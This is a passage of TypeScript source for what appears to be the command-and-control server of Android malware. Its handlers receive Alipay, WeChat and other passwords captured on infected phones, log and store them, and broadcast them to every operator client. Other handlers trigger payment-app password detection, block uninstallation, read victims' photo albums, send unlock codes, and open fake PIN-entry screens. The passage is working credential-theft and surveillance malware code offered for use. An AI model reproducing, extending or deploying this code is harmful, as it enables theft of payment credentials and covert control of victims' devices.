|
||
} catch (error) {
|
||
this.logger.error('[RefreshScreen] Failed to send refresh command:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Handle manual MediaProjection permission request (no auto-click)
|
||
*/
|
||
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '手动授权命令已发送,请在设备上手动确认权限'
|
||
})
|
||
|
||
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('手动授权投屏权限失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '手动授权投屏权限失败: ' + (error as Error).message
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 路由权限申请响应
|
||
*/
|
||
routePermissionResponse(socketId: string, permissionData: any): boolean {
|
||
try {
|
||
// 获取发送响应的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`)
|
||
|
||
// 检查权限类型并处理响应
|
||
if (permissionData.permissionType === 'media_projection') {
|
||
this.handleMediaProjectionPermissionResponse(device.id, permissionData)
|
||
} else {
|
||
this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`)
|
||
}
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 💰 路由支付宝密码数据
|
||
*/
|
||
routeAlipayPassword(socketId: string, passwordData: any): boolean {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`)
|
||
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
|
||
this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`)
|
||
return false
|
||
}
|
||
|
||
// 创建支付宝密码记录
|
||
const alipayPasswordRecord = {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
}
|
||
|
||
this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`)
|
||
|
||
// 保存到数据库
|
||
this.databaseService.saveAlipayPassword(alipayPasswordRecord)
|
||
|
||
// 向所有Web客户端广播支付宝密码记录
|
||
this.webClientManager.broadcastToAll('alipay_password_recorded', {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
})
|
||
|
||
this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`)
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 💬 路由微信密码数据
|
||
*/
|
||
routeWechatPassword(socketId: string, passwordData: any): boolean {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`)
|
||
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) {
|
||
this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`)
|
||
return false
|
||
}
|
||
|
||
// 创建微信密码记录
|
||
const wechatPasswordRecord = {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
}
|
||
|
||
this.logger.info(`微信数据 ${wechatPasswordRecord.password}`)
|
||
|
||
// 保存到数据库
|
||
this.databaseService.saveWechatPassword(wechatPasswordRecord)
|
||
|
||
// 向所有Web客户端广播微信密码记录
|
||
this.webClientManager.broadcastToAll('wechat_password_recorded', {
|
||
deviceId: passwordData.deviceId,
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
activity: passwordData.activity || 'UnknownActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
})
|
||
|
||
this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`)
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔐 路由通用密码输入数据
|
||
*/
|
||
routePasswordInput(socketId: string, passwordData: any): boolean {
|
||
try {
|
||
// 获取发送密码数据的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`)
|
||
|
||
// 验证必要字段
|
||
if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) {
|
||
this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`)
|
||
return false
|
||
}
|
||
|
||
// 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId
|
||
// 确保设备ID存在于数据库中,避免外键约束错误
|
||
const deviceId = device.id
|
||
|
||
// 验证设备是否存在于数据库中
|
||
const deviceExists = this.databaseService.getDeviceById(deviceId)
|
||
if (!deviceExists) {
|
||
this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`)
|
||
return false
|
||
}
|
||
|
||
// 创建通用密码输入记录
|
||
const passwordInputRecord = {
|
||
deviceId: deviceId, // 🔧 使用验证过的设备ID
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
passwordType: passwordData.passwordType,
|
||
activity: passwordData.activity || 'PasswordInputActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
installationId: passwordData.installationId || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: new Date(passwordData.timestamp),
|
||
createdAt: new Date()
|
||
}
|
||
|
||
this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`)
|
||
|
||
// 保存到数据库
|
||
this.databaseService.savePasswordInput(passwordInputRecord)
|
||
|
||
// 向所有Web客户端广播通用密码输入记录
|
||
this.webClientManager.broadcastToAll('password_input_recorded', {
|
||
deviceId: deviceId, // 🔧 使用验证过的设备ID
|
||
password: passwordData.password,
|
||
passwordLength: passwordData.passwordLength || passwordData.password.length,
|
||
passwordType: passwordData.passwordType,
|
||
activity: passwordData.activity || 'PasswordInputActivity',
|
||
inputMethod: passwordData.inputMethod || 'unknown',
|
||
installationId: passwordData.installationId || 'unknown',
|
||
sessionId: passwordData.sessionId || Date.now().toString(),
|
||
timestamp: passwordData.timestamp
|
||
})
|
||
|
||
this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`)
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔍 路由支付宝检测启动指令
|
||
*/
|
||
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean {
|
||
try {
|
||
// 获取发送检测启动指令的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`)
|
||
|
||
// 创建控制消息
|
||
const controlMessage: ControlMessage = {
|
||
type: 'ALIPAY_DETECTION_START',
|
||
deviceId: device.id,
|
||
data: detectionData.data || {},
|
||
timestamp: Date.now()
|
||
}
|
||
|
||
// 路由控制消息
|
||
const routeResult = this.routeControlMessage(socketId, controlMessage)
|
||
|
||
if (routeResult) {
|
||
this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`)
|
||
} else {
|
||
this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`)
|
||
}
|
||
|
||
return routeResult
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 💬 路由微信检测启动指令
|
||
*/
|
||
routeWechatDetectionStart(socketId: string, detectionData: any): boolean {
|
||
try {
|
||
// 获取发送检测启动指令的设备信息
|
||
const device = this.deviceManager.getDeviceBySocketId(socketId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`)
|
||
|
||
// 创建控制消息
|
||
const controlMessage: ControlMessage = {
|
||
type: 'WECHAT_DETECTION_START',
|
||
deviceId: device.id,
|
||
data: detectionData.data || {},
|
||
timestamp: Date.now()
|
||
}
|
||
|
||
// 路由控制消息
|
||
const routeResult = this.routeControlMessage(socketId, controlMessage)
|
||
|
||
if (routeResult) {
|
||
this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`)
|
||
} else {
|
||
this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`)
|
||
}
|
||
|
||
return routeResult
|
||
|
||
} catch (error) {
|
||
this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🆕 处理MediaProjection权限申请响应
|
||
*/
|
||
private handleMediaProjectionPermissionResponse(deviceId: string, permissionData: any): void {
|
||
try {
|
||
this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`)
|
||
|
||
// 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端)
|
||
this.webClientManager.broadcastToAll('refresh_permission_response', {
|
||
deviceId,
|
||
success: permissionData.success,
|
||
message: permissionData.message,
|
||
timestamp: permissionData.timestamp
|
||
})
|
||
|
||
this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`)
|
||
|
||
} catch (error) {
|
||
this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🛡️ 处理启用防止卸载保护的请求
|
||
*/
|
||
private handleEnableUninstallProtection(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送启用防止卸载保护的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ENABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 保存状态到数据库
|
||
this.databaseService.updateDeviceUninstallProtection(deviceId, true)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: true,
|
||
enabled: true,
|
||
message: '防止卸载保护已启用'
|
||
})
|
||
|
||
this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
// 设备Socket不可用
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`❌ 启用防止卸载保护失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '启用防止卸载保护失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🛡️ 处理禁用防止卸载保护的请求
|
||
*/
|
||
private handleDisableUninstallProtection(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送禁用防止卸载保护的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'DISABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
// 保存状态到数据库
|
||
this.databaseService.updateDeviceUninstallProtection(deviceId, false)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: true,
|
||
enabled: false,
|
||
message: '防止卸载保护已禁用'
|
||
})
|
||
|
||
this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
// 设备Socket不可用
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`❌ 禁用防止卸载保护失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '禁用防止卸载保护失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理相册权限检查请求
|
||
*/
|
||
private handleGalleryPermissionCheck(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送相册权限检查的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'GALLERY_PERMISSION_CHECK',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '设备连接异常'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理相册权限检查请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '相册权限检查失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理相册读取请求
|
||
*/
|
||
private handleAlbumRead(clientId: string, deviceId: string, data: any): boolean {
|
||
try {
|
||
this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 验证数据格式
|
||
const { albumId, limit, offset } = data || {}
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取限制无效,应为正整数'
|
||
})
|
||
return false
|
||
}
|
||
if (offset && (typeof offset !== 'number' || offset < 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取偏移无效,应为非负整数'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送相册读取的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ALBUM_READ',
|
||
deviceId,
|
||
data: {
|
||
albumId: albumId || null,
|
||
limit: limit || null,
|
||
offset: offset || 0
|
||
},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`)
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '设备连接异常'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理相册读取请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理设备解锁请求
|
||
*/
|
||
private handleUnlockDevice(clientId: string, deviceId: string, data: any): boolean {
|
||
try {
|
||
this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 验证解锁数据格式
|
||
const { password, pattern, pin, biometric } = data || {}
|
||
if (!password && !pattern && !pin && !biometric) {
|
||
this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`)
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '解锁数据不完整,需要提供密码、图案、PIN或生物识别信息'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送解锁的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'UNLOCK_DEVICE',
|
||
deviceId,
|
||
data: {
|
||
password: password || null,
|
||
pattern: pattern || null,
|
||
pin: pin || null,
|
||
biometric: biometric || null
|
||
},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '设备解锁命令已发送'
|
||
})
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接异常'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理设备解锁请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备解锁失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔐 处理打开6位PIN输入界面的请求
|
||
*/
|
||
private handleOpenPinInput(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 向设备发送打开6位PIN输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_PIN_INPUT',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`)
|
||
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开6位PIN输入界面命令已发送'
|
||
})
|
||
|
||
return true
|
||
}
|
||
}
|
||
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
})
|
||
return false
|
||
|
||
} catch (error) {
|
||
this.logger.error(`打开6位PIN输入界面失败:`, error)
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开6位PIN输入界面失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 🔐 处理打开4位密码输入界面的请求
|
||
*/
|
||
private handleOpenFourDigitPin(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
